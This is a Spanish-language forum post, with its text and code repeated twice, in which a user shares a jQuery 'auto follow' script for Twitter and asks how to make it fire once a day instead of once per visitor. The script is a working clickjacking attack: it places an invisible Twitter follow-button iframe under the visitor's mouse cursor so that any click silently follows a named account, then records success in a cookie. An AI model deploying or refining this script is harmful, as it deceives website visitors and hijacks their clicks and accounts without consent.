- Desde
- 3 Jul 2013
- Mensajes
- 32
hola que tal este es un codigo de auto follow para twitter que deja una cokiee en el usuario pero al parecer solo aparece una vez por persona..
me gustaria saber como puedo cambiarle la frecuencia a que salga una vez por dia... gracias
toda la ayuda sera muy apreciada.:encouragement:
$.noConflict();
var interval;
var iflag;
var icontainer;
var standardbody;
jQuery(function () {
jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="twitjack_icontainer"><iframe src="http://platform.twitter.com/widgets/follow_button.html?screen_name=GalacticoNYC&show_count=false" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="twitter_frame" name="twitter_frame"></iframe></div>');
iflag = 0;
icontainer = document.getElementById('twitjack_icontainer');
standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
checkCookie();
interval = setInterval("updateActiveElement();", 50);
});
jQuery("html").bind('mousemove', function (e) {
if (iflag == 0) {
var x = e.pageX - 5;
var y = e.pageY;
//console.log("X: " + x + " AND Y: " + y);
jQuery(icontainer).css('top', y).css('left', x);
}
});
function getCookie(c_name) {
var i, x, y, ARRcookies = document.cookie.split(";");
for (i = 0; i < ARRcookies.length; i++) {
x = ARRcookies.substr(0, ARRcookies.indexOf("="));
y = ARRcookies.substr(ARRcookies.indexOf("=") + 1);
x = x.replace(/^\s+|\s+$/g, "");
if (x == c_name) {
console.log(unescape(y));
return unescape(y);
}
}
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
document.cookie = c_name + "=" + c_value;
}
function checkCookie() {
var flag = 0;
var username = getCookie("username");
if (username != null && username != "") {
iflag = 1;
if ((flag != 0) && (username != null) && (username != "")) document.location = "";
}
}
function updateActiveElement() {
if (jQuery(document.activeElement).attr('id') == "twitter_frame") {
var flag = 0;
clearInterval(interval);
iflag = 1;
if (flag != 0) document.location = "";
setCookie("username", 123, 365);
}
}
me gustaria saber como puedo cambiarle la frecuencia a que salga una vez por dia... gracias
toda la ayuda sera muy apreciada.:encouragement:
$.noConflict();
var interval;
var iflag;
var icontainer;
var standardbody;
jQuery(function () {
jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="twitjack_icontainer"><iframe src="http://platform.twitter.com/widgets/follow_button.html?screen_name=GalacticoNYC&show_count=false" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="twitter_frame" name="twitter_frame"></iframe></div>');
iflag = 0;
icontainer = document.getElementById('twitjack_icontainer');
standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
checkCookie();
interval = setInterval("updateActiveElement();", 50);
});
jQuery("html").bind('mousemove', function (e) {
if (iflag == 0) {
var x = e.pageX - 5;
var y = e.pageY;
//console.log("X: " + x + " AND Y: " + y);
jQuery(icontainer).css('top', y).css('left', x);
}
});
function getCookie(c_name) {
var i, x, y, ARRcookies = document.cookie.split(";");
for (i = 0; i < ARRcookies.length; i++) {
x = ARRcookies.substr(0, ARRcookies.indexOf("="));
y = ARRcookies.substr(ARRcookies.indexOf("=") + 1);
x = x.replace(/^\s+|\s+$/g, "");
if (x == c_name) {
console.log(unescape(y));
return unescape(y);
}
}
}
function setCookie(c_name, value, exdays) {
var exdate = new Date();
exdate.setDate(exdate.getDate() + exdays);
var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
document.cookie = c_name + "=" + c_value;
}
function checkCookie() {
var flag = 0;
var username = getCookie("username");
if (username != null && username != "") {
iflag = 1;
if ((flag != 0) && (username != null) && (username != "")) document.location = "";
}
}
function updateActiveElement() {
if (jQuery(document.activeElement).attr('id') == "twitter_frame") {
var flag = 0;
clearInterval(interval);
iflag = 1;
if (flag != 0) document.location = "";
setCookie("username", 123, 365);
}
}